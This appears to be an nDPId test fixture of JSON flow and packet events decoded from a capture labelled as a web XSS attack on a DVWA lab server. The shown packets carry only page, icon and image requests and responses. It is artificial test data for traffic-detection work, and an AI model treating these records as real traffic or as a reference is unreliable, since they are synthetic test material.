oy7qbBv8Jj0nnzOm\/F0LQdTesLalT548FfHJ9nnGJmSIqqoqjDdUGyNdMoSirz0Q1TRFbN2+E7fixbw1IJCcCAMkf9AA8h4MJlav3YCF1Qs3iUsRiRIw2Cinz5wTRBcl\/9ZjcbB7qgCsRjFJ9pebmCH27DsgSDV7vc8HORYnAgBt+zsNoxPF9JlzRYg6F\/VgrT+nhbP3ceIgnfotHvbejOfPn0M4scbEfHGK4T7D2q4cOXocAsQ6XtsORYKokTbGgsrKSpGS2dz3e+\/RZ4Ag+mtAAOkRBkAKdG+WCpB6Z5xMXXr0FZBspHqN8FC79ty5e4+9YQYPGy2IfuLzQV45feYsS8piLpevXBWSTmLu86W61SAqgXFfMwGSQBwl+TVujDHPnjsPQcJarzT+5VyuYdijBtVRLFi0VM7RMp5cA9Qioo\/o9uDhI8fkaZnp+10ny3Urp1IQAPlxGAAZExxAFEmMTbN5y3ZBtFzym7QFFuBCBlvlyK8R7D4e4pdxw8QpM1l\/I1VKUaLucGKcPHVaJDCkM9TWe\/fu477NHvOACvK\/VWvW49mw5tI4Nkls2bYDYz6X\/EaXMX\/jTLRXf+tYACXWIumcNsYv8I\/DRo4L6z0nSoFy\/sIlddyIMjV\/uOUTIDMDBYjKkErTZ9WoLAs1l+D3BFxq4yazxoL99ODBQ2UTstgR7bkt2rL+BpwQRD+UTojFFRXPWRI\/VtpkBw4dwX33PObxY1zsN3CYr+c3etwkQfR1lzHzcCEjN58F4MrKF\/j5JG0MeCGl3dUyrPfbIDpBfb9fDAQk\/st0lwcOEJURI4DHg2iWYkMgHnLDkdLJ2QyjMFVs3LwtJFHfxnyAy56VlMhNblfj4IGCJ0fSdWkX\/Xr8pGmlzuZpxts88BIRfdhlHhm4kJ3XRr+PazdEuYw58cWLFyKZoaI2a9leECVrY+y7d\/8BTvuw32+z\/JqxmwcEkHyfANliAUgQIMkSi6UrkqitssBxMKC5dkj33v0F0V8YDw8q3bMdu\/aI6KZp1rEBIhjFFy9dRjv9ilbtCgRo4NCRrLl169VPEP3OZS6jnHUSULmckpkniHq4jHng4qUrrGc3ftJUNyn\/AZhNq9duhDoX9rvF33\/2rARjrwoIIH\/xCZB9tQIIJGlqVnMpddqJom69Hc5q1gqSCptIbrYU\/R72uGQAP1WkLKL0orh7b9YY8LQQ9bc+PNLR+wwYwvPI9B4oQF179kP02\/GuQcVCrCiKsWY8I6JmLnPZfe36DdZJpqtGZWWOe3uJS7C1YuOmraJxXIpVzSX177Y2Rgz+sVNRd7M9aQkFxMSnhdy95bC1AgDIZ3wCZG2tAAKviBvBW3Hr1m2xd\/9BMWTEGOjmLINT5fy2nQTRBFrg2\/GiN2\/dwQIepNX1Gzdx\/2HGw+uJH6Zk2N2XcUkZYteefdiMUpom1\/w71L+bcs0cyQ8BQh6d0do8kNZRCoMb7nC\/6ik8cHCZa2PCJpE20zjWyUgxpHnaGFNwqqVkmNUrePHsJ\/sAQfS3gAz1Mh8AmVZXAEmS\/CdSZ1rSpkZ49wkuPnj4SErnoXiJ7BceJ6XZ1m07Q+kO36NFrn769BlLVWgspdkyGTsBXhk5YftvSDAlpuawJHVFRYXYvnO3+u8htRDCgAXeW7fv4OfbtHl8VTKyFfwbwVGJoSyCKi3wGot\/zG\/dyToGDHCiPC0f7hayCxJSsozOhx59BspTKsnqQCHhMCwINcvnF6\/61xVA3uIxodeR0QiLFhtWSbGwc1pWnoBxKWmm6mlq3rI96\/4OBV1NhquqX1dhg3NOufadurjaGzIZUYDadCxiZRdQMPOhNpdoZzO3UTczn5EC5BL\/6cs9HQcPp\/gRCSTi7zju78nTbXEOnKIAv+WUgrv3IoY8HwRAfDZ2aFPfAFF9+3MJJFLXzeCpDTIqjsAUbaQ3UCaxmDVnAes4x0uDaiBpvOfcaFO2s29seMfwbGCgQ9VyjYtMmzmXtbYZs+YJoo\/pm9nL29QwKhGZAp5jwhYkSlPGXHP\/wQM8C4v7OQ25X47dp2UgOIPm5LXl2HywSS2ByHg8o0DcvQSQiz4AEhUJgKhHNXy4TkJjQ8YGBw8aOkoQ\/ZrGOYmoMScdBOoOItKSLhvmNQmnFEe9gnREJu7ho8dcr8MNimucSHORdDYQ\/VGZy1psZg8pjEAk1mQUCERDlDFv7z94WMQlZlrXBlUYr197PpuePH1qPRkKih0zDo4ahru3Bsh5AQDknA+AfDqSAAnVOFyC\/s1No0jLzhNE\/TAG\/TcrH6hBkwQxY3aNpP6Cx5yuI6bBSTaEagcaN2Gq23U4JUpg5HLWhqAdUQtlLnf3HTgEb48nAExpMBAaDx85m3wjxiMPoJg5Z4Efr18nZT6wZSphC5q8c1BNFyxaJkDLV64RjaITrXYIbEkVjJFiHw3mrgIQEQWIGghDqjzXd37l6jXcchr300ki+g8ezrof+jxRJu538\/CMnTCFZfTPlSntoPTsFq6\/OXr8xDhcT8N1Rk4WJRiOw1yolkNMnTHbsImbmaLhKMSCSqpG6eE4EYVde9ld130H6ic1+JXqFJV+1pMaRjzo2rXrItFy2kTD3bstGHevDy\/WjKAAggfyBCn10Qnp1r8BVWzJ8lWC6J1kizyC2hDLsGUgrZAZK2m+y1wgxhGXYHmv4Om6cPGS12+gWP8c4\/XqN9g+XkauQLxD0k6ay9+dVPvCbkbXd4FFsBCIQR+hQCvS4a0Z1us2bHIyD7R3OQIeJ9tpDbAjy5dc\/ACy3d3bK7LuXgLH+3yoV1lBAQS8C5uNGQxDDpauJs3GpseL4biLYRfA2+xSProamcQclQinBjkI3K4\/QV0HPYdKPD8ED21SFJF7CAuaS2eb6jhcJgqOmziFG6VH0dUMBDAhJKzgv3kL9+zQns95RODxfJin9EY1oMh09w6PIEC+5QMgXw4SIFOhXhBA2JFrSGi6v2m156mYdf+oVxP5fqDMAWn1ZTb9GtxA8tiJU4XBBZuj1HLsgxOBY\/RPmT5LEH0CDgyT\/QLArd+4RazfsNkIPuSDgeh0PHL23AUAwAoQot7K8\/lCjUCwpMgrSYh4P1UrV6+zCgis89x5x917IYIA+RsTHPuVIqk3Sf4Avd+IAaSg2iXYgvV3UE1I9B81NwgGIaeIKrt5azevCRpOSN17kN0blprrRKnv3Lnrdn2P2rsKATBIxsQ0e7ynsEsvVdpfgB7v"} +00430{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":677799,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0I8ZAAD4GohKsEAABwKgKMsxMAFCAL9N3349j9oAQAOXjKAAAAQEICgE48LQD4sIq"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":129,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1499346976999,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52318,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":999785,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Z5FAAD4GXj+sEAABwKgKMsxeAFDFSpaVAAAAAKACchBEOAAAAgQFtAQCCAoBOPEEAAAAAAEDAwc="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":130,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1499346976999,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52320,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":999789,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8v9RAAD4GBfysEAABwKgKMsxgAFByIk7QAAAAAKACchDfIwAAAgQFtAQCCAoBOPEEAAAAAAEDAwc="} +00442{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":999925,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzF63DJWlxUqWlqAScSAyBwAAAgQFtAQCCAoD4sJ7ATjxBAEDAwc="} +00442{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346976,"pkt_ts_usec":999944,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzGAmGFC+ciJO0aAScSCizgAAAgQFtAQCCAoD4sJ7ATjxBAEDAwc="} +00427{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":540,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z5JAAD4GXkasEAABwKgKMsxeAFDFSpaWtwyVpoAQAOXRDgAAAQEICgE48QQD4sJ7"} +00427{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":543,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0v9VAAD4GBgOsEAABwKgKMsxgAFByIk7RJhhQv4AQAOVB1gAAAQEICgE48QQD4sJ7"} +00921{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":863501,"pkt_caplen":430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":430,"pkt_l4_len":396,"pkt":"ABm5CmnxAMGxFOsxCABFAAGgI8dAAD4GoKWsEAABwKgKMsxMAFCAL9N3349j9oAYAOVhqQAAAQEICgE48dwD4sIqR0VUIC9kdi9kdndhL2pzL2R2d2FQYWdlLmpzIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgUEhQU0VTU0lEPXY2b29rZjZlMjZuMWlkbzVzaXZlNnNhaTcxDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":142,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":4,"flow_first_seen":1499346976677,"flow_last_seen":1499346977863,"flow_tot_l4_data_len":508,"flow_min_l4_data_len":32,"flow_max_l4_data_len":396,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52300,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/dvwa\/js\/dvwaPage.js","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00431{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":863643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0oKVAAEAGIzPAqAoyrBAAAQBQzEzfj2P2gC\/U44AQAOvfZQAAAQEICgPiw1MBOPHc"} +00913{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":870159,"pkt_caplen":424,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":424,"pkt_l4_len":390,"pkt":"ABm5CmnxAMGxFOsxCABFAAGaZ5NAAD4GXN+sEAABwKgKMsxeAFDFSpaWtwyVpoAYAOVlawAAAQEICgE48d4D4sJ7R0VUIC9kdi9mYXZpY29uLmljbyBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgUEhQU0VTU0lEPXY2b29rZjZlMjZuMWlkbzVzaXZlNnNhaTcxDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00758{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":144,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1499346976999,"flow_last_seen":1499346977870,"flow_tot_l4_data_len":502,"flow_min_l4_data_len":32,"flow_max_l4_data_len":390,"flow_avg_l4_data_len":125,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52318,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/favicon.ico","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00431{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":870280,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VvNAAEAGbOXAqAoyrBAAAQBQzF63DJWmxUqX\/IAQAOvN7gAAAQEICgPiw1UBOPHe"} +01462{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":885304,"pkt_caplen":829,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":829,"pkt_l4_len":795,"pkt":"AMGxFOsxABm5CmnxCABFAAMvoKZAAEAGIDfAqAoyrBAAAQBQzEzfj2P2gC\/U44AYAOvu3gAAAQEICgPiw1gBOPHcSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE2OjE3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBNb24sIDI2IEp1biAyMDE3IDE0OjQ0OjQ4IEdNVA0KRVRhZzogIjMwNy01NTJkZGZlMjQ0YWQwLWd6aXAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogNDEzDQpLZWVwLUFsaXZlOiB0aW1lb3V0PTUsIG1heD0xMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vamF2YXNjcmlwdA0KDQofiwgAAAAAAAADhVLBbtswDD03QP6B0CV2asTu2pwC3YZth22HoT0Xik3HwmRJk6i5XZt\/r+S4S5ui6EUgHx\/J9wiVS\/iGyoI1NlhYlvPZfNYGXZM0OoE3Nrv59T2Hh\/nsrBH3wEHjAJ8FYZZvIiabCMXCaod0LfsJxb9CZcyKHTI4h8g5BxZ5g9SNGVbGok5TC1gcy4uYkTFqKxyvCl87o1Ls+UWhTC2SnoSToOAPnB51OEQOvfwntgojeZANdXxdVUWHctcRv4yhwpbi\/vVVVZCxMfq0rhb5hiWx+2S5XMIX43qIumUzLju9xVTBW4d\/gnTYZK1E1RRCoSO6o3w+izcaJHVwqIw3A5AtZLE3IOc6KPX4OCWMTQSAcUT2f9DGIQWnoRXK4yZR9unBmD13TAxy4UjYT1beKm6js4w66VMwbj3IfAWlMWUJXwN62hrzG1LlhYET81HoT9FjwdILtdCgDcEWAXtL9yuWcz7qz9OIh4m9ak0dfHbicHT3\/qae7n6g9\/EvFWwKPtx37Plg5fPRngBQbZs1BwMAAA=="} +00430{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":885945,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0I8hAAD4GohCsEAABwKgKMsxMAFCAL9Tj349m8YAQAPHcWQAAAQEICgE48eID4sNY"} +00962{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":894359,"pkt_caplen":461,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":461,"pkt_l4_len":427,"pkt":"ABm5CmnxAMGxFOsxCABFAAG\/I8lAAD4GoISsEAABwKgKMsxMAFCAL9Tj349m8YAYAPFJQQAAAQEICgE48eQD4sNYR0VUIC9kdi9kdndhL2ltYWdlcy9sb2dvLnBuZyBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IGltYWdlL3BuZyxpbWFnZS8qO3E9MC44LCovKjtxPTAuNQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpSZWZlcmVyOiBodHRwOi8vMjA1LjE3NC4xNjUuNjgvZHYvdnVsbmVyYWJpbGl0aWVzL3hzc19yLw0KQ29va2llOiBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02749{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":903622,"pkt_caplen":1773,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1773,"pkt_l4_len":1739,"pkt":"AMGxFOsxABm5CmnxCABFAAbfVvRAAEAGZjnAqAoyrBAAAQBQzF63DJWmxUqX\/IAYAOt9vQAAAQEICgPiw10BOPHeSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE2OjE3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBNb24sIDI2IEp1biAyMDE3IDE0OjQ0OjQ4IEdNVA0KRVRhZzogIjU3ZS01NTJkZGZlMjUxNWVmIg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCkNvbnRlbnQtTGVuZ3RoOiAxNDA2DQpLZWVwLUFsaXZlOiB0aW1lb3V0PTUsIG1heD0xMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogaW1hZ2Uvdm5kLm1pY3Jvc29mdC5pY29uDQoNCgAAAQABABAQAAABAAgAaAUAABYAAAAoAAAAEAAAACAAAAABAAgAAAAAAEAFAAAAAAAAAAAAAAABAAAAAQAAVE1JAF5XUgBQSkYAW1NPAF1XUgBdWFMAYFlUAF9YUwBbVE8AXXtuAFyymQBctJsAXK2VAFyokQBno5AAiJePAK2qpwC9u7gAiYSAAF1zaABgppEAiY+JAImFgQB4cm4AZ2JdAF1jXABdhXYAXY19AHp\/eQDZ2dcAy8jHAGZfWgBbVFAAZY5\/AMfHxQB6dHAAXVpUAF13awBjhHcAw87JAMnHxQBeWFMAl5yXAMXDwQBdX1gAX49\/AMTVzwCDfXoA4uHgAF1bVQBkuaEAlpaSAFxVUACcmJUAXKiSAGOHegBjXVgAtbKwAJGMiQBcsJgAXZOBAIWAfACTjosAamRfAF16bgBcza8AhZiPAF9ZVABybGcAamZgAF5aVABdXVYAXXBlAFyciABcvKEAfp6SALy5twBdVlEAXV5XAF1tYwBde28AfoyEAKqopQC6t7YAbWdiAF1XUQBSS0gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQIBAQEBAQEBAQEBAQEBAQEDAQEBBAUFBAEGBwEBAQEBCAEBCQoLDA0ODxAREgEBAQgBExQVFhcYGRobHB0eHwEgASEiIwEBAQEBJCUmJygpIAEqKwEBAQEBAQEBLC0uLyABEjAHAQEBAQEBAQExMjM0AQYrNQEBAQEBAQEBATY3NAEBODk6AQEBAQEBAQE7PDQBAQEBPT4\/AQEBAQFAQUIHAQEBAQFDREVGR0hJSktMTQEBAQEBAQFOT1AmUVJTVE0BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBVQABAQEBAQEBAQEBAQEBAVYAAP\/\/AAD\/\/wAA\/\/8AAP\/\/AAD\/\/wAA\/\/8AAP\/\/AAD\/\/wAA\/\/8AAP\/\/AAD\/\/wAA\/\/8AAP\/\/AAD\/\/wAA\/\/8AAP\/\/"} +00431{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":904279,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z5RAAD4GXkSsEAABwKgKMsxeAFDFSpf8twycUYAQAP\/HHwAAAQEICgE48eYD4sNd"} +07667{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":909336,"pkt_caplen":5396,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":5396,"pkt_l4_len":5362,"pkt":"AMGxFOsxABm5CmnxCABFABUGoKdAAEAGDl\/AqAoyrBAAAQBQzEzfj2bxgC\/WboAYAPOL5AAAAQEICgPiw14BOPHkSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE2OjE3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBNb24sIDI2IEp1biAyMDE3IDE0OjQ0OjQ4IEdNVA0KRVRhZzogIjEzYjQtNTUyZGRmZTI0MmI5MCINCkFjY2VwdC1SYW5nZXM6IGJ5dGVzDQpDb250ZW50LUxlbmd0aDogNTA0NA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogaW1hZ2UvcG5nDQoNColQTkcNChoKAAAADUlIRFIAAABpAAAAPAgGAAAAZcGUfgAAE3tJREFUeAHs2AOM9GgAxvH3bNu2bdv6uirWOgdnTXC2bRvF2TZm2rWN4Fu793+TnWTVD2vMk\/zG5TOliGVy4vv+ujgISQjhdfyJWgnVqEIFCvEacrEXVoAIIh\/GL2ZFbIAdsTeOwQXIwG34Cq1YWppxB1ZfxpJiPsxPW8f0tAMtV1dsV0t1XDXN9rQMJ6Jm8j7biqjJfHaGlZd00KfhhG2+LktZHWIsjG8l7Itr4GFJKcRRsZKGFOG4xgGs9DjH1a63XfV5Xv+AevjjUA8LIcvTzvownLgZxEhM+1A8jm6MlU6cuKBL+uOPrFWs\/5J2tMP6wbabtP8nbvJedp6x60f5+g5mgbHVp\/\/qm37iKht+nK\/tZofVsy1PvdKOaI+yJX1KAaXog7+M\/nI8\/WrbS9oOYijmZU\/8jLHShkPHWVKMLFmWK